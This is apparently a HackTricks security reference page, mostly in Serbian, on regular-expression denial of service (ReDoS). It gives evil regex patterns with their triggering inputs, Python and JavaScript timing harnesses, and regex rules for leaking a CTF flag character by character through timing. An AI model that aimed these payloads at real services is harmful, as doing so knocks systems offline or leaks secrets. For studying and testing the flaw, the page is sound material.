Regular expression Denial of Service - ReDoS

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text they're working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.

Problematični naivni Regex algoritam

Pogledajte detalje na https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Ponašanje engine-a i iskoristivost

  • Većina popularnih engine-a (PCRE, Java java.util.regex, Python re, JavaScript RegExp) koristi backtracking VM. Namerno oblikovani ulazi koji stvaraju mnogo preklapajućih načina za poklapanje podobraza prisiljavaju eksponencijalno ili visokopolinomno backtracking.
  • Neki engine-i/biblioteke su dizajnirani da budu ReDoS-resilient po konstrukciji (bez backtrackinga), npr. RE2 i portovi zasnovani na konačnim automatima koji garantuju linearno vreme u najgorem slučaju; korišćenje njih za nepouzdane ulaze uklanja backtracking DoS primitiv. Pogledajte reference na kraju za detalje.

Evil Regexes

Zlonamerni regular expression pattern je onaj koji se može zaglaviti na namenskom ulazu i izazvati DoS. Zlonamerni regex obrasci tipično sadrže grupisanje sa ponavljanjem i ponavljanje ili alternaciju sa preklapanjem unutar ponovljene grupe. Neki primeri zlonamernih obrazaca uključuju:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Svi ovi su ranjivi na ulaz aaaaaaaaaaaaaaaaaaaaaaaa!.

Praktičan recept za pravljenje PoC-ova

Većina katastrofalnih slučajeva prati sledeći obrazac:

  • Prefiks koji vas uvodi u ranjivi subpattern (opciono).
  • Dug niz karaktera koji izaziva dvosmislena poklapanja unutar ugnježdenih/preklapajućih kvantifikatora (npr. mnogo a, _ ili razmaka).
  • Završni karakter koji primorava celokupnu proveru na neuspeh tako da engine mora da backtrack-uje kroz sve mogućnosti (često karakter koji se neće poklopiti sa poslednjim tokenom, kao !).

Minimalni primeri:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Povećajte N i posmatrajte supralinearni rast.

Brzi timing harness (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

U CTF-u (ili bug bounty) možda kontrolišete Regex kojim se poklapa osetljiva informacija (flag). Tada može biti korisno da naterate stranicu da se zamrzne (timeout ili duže vreme obrade) ako se Regex poklapa, a ne ako se ne poklapa. Na ovaj način moći ćete exfiltrate string char by char:

  • In this post you can find this ReDoS rule: ^(?=<flag>)((.*)*)*salt$
  • Primer: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup you can find this one:<flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS: kontrola inputa i regex-a

Slede primeri ReDoS gde kontrolišete i input i regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Beleške o jeziku/engine-u za napadače

  • JavaScript (browser/Node): Ugrađeni RegExp koristi backtracking i često je eksploatabilan kada su regex i input pod uticajem napadača.
  • Python: re koristi backtracking. Duge dvosmislene sekvence u kombinaciji sa neuspešnim tail-om često dovode do katastrofalnog backtrackinga.
  • Java: java.util.regex koristi backtracking. Ako kontrolišeš samo ulaz, traži endpoint-e koji koriste kompleksne validatore; ako kontrolišeš pattern-e (npr. čuvana pravila), ReDoS je obično trivijalan.
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. If you hit these, focus on other bottlenecks (e.g., enormous patterns) or find components still using backtracking engines.

Alati

Savet: Kada kontrolišeš samo ulaz, generiši stringove sa dužinama koje se dupliraju (npr. 2^k karaktera) i prati latenciju. Eksponencijalni rast snažno ukazuje na izvodljiv ReDoS.

Izvori

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks